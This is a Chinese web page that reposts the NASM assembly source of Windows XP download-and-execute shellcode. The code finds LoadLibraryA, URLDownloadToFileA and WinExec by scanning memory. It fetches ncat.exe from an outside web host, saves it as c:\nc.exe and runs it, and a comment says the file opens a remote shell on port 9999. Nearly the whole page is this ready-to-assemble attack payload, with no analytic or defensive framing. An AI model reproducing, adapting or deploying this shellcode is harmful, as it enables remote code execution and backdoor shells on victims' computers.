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windows XP shellcode源代码(下载执行)

2009-6-17 09:54 1755 0

摘要:   ; Nice theorhetically generic url download and execute  ; shellcode for Windows XP.  ;  ; Heck, at...
关键词: edi push mov short ecx download ebx jmp call repne

  ; Nice theorhetically generic url download and execute  ; shellcode for Windows XP.  ;  ; Heck, atleast it saves you using tftp!  ;  ; [email protected]  ;  ; nasmw -s -fbin -o download.s download.asm  bits 32  start:  jmp short avoidnastynulls  continue:  pop edi; edi = 'urlmon.dll'  mov esi, edi  mov al, 0ffh  repne scasb  inc byte [edi-01h]; edi = string of url  mov ebx, edi  mov al, 0ffh  repne scasb  inc byte [edi-01h]; edi = path of download  mov edx, edi  repne scasb  inc byte [edi-01h]  push edx  push ebx  push edx  push esi  mov ebx, 0c25b5effh  mov ecx, 0deadc0deh  mov edi, 77e60101h  trawlmem:  inc edi  mov al, 0ffh  repne scasb  jmp short checkbytes  nop  checkbytes:  dec edi  push dword [edi]  pop esi  cmp ebx, esi  je short gotcha  jmp short trawlmem  jmp short pastpoint  avoidnastynulls:  jmp short data  pastpoint:  gotcha:  lea eax, [edi-2eh]; get to start of loadlibrarya function  call eax; call loadlibrarya  pop edx  pop ebx  push edx  xor ecx, ecx  push ecx  push ecx  push edx; path of download  push ebx; url of download  push ecx  mov ebx, 8d8d5602h  mov ecx, 0badc0dedh  mov edi, eax; eax = base of urlmon.dll  trawlmem2:  inc edi  mov al, 002h  repne scasb  jmp short checkbytes2  nop  checkbytes2:  dec edi  push dword [edi]  pop esi  cmp ebx, esi  je short gotcha2  jmp short trawlmem2  gotcha2:  lea eax, [edi-1bh]; get to start of urldownloadtofilea function  call eax; call urldownloadtofilea  pop edx  xor ecx, ecx  ;inc ecx  push ecx  push edx  mov ebx, 0c458b66h  mov ecx, 1337f00dh  mov edi, 77e60101h  trawlmem3:  inc edi  mov al, 066h  repne scasb  jmp short checkbytes3  nop  checkbytes3:  dec edi  push dword [edi]  pop esi  cmp ebx, esi  je short gotcha3  jmp short trawlmem3  gotcha3:  lea eax, [edi-16h]; get to start of winexec function  call eax; call winexec  mov ecx, 0deadc0deh  infloop:; infinite loop; no crash when done  inc ecx  cmp ecx, 0badc0dedh  loopnz infloop; if this slows you down too much, remove it!  int 3h  data:  call continue  db 'URLMON.DLL', 0ffh  db 'http://www.elitehaven.net/ncat.exe', 0ffh; the file at this address spawns remote shell on port 9999  db 'c:\nc.exe', 0ffh
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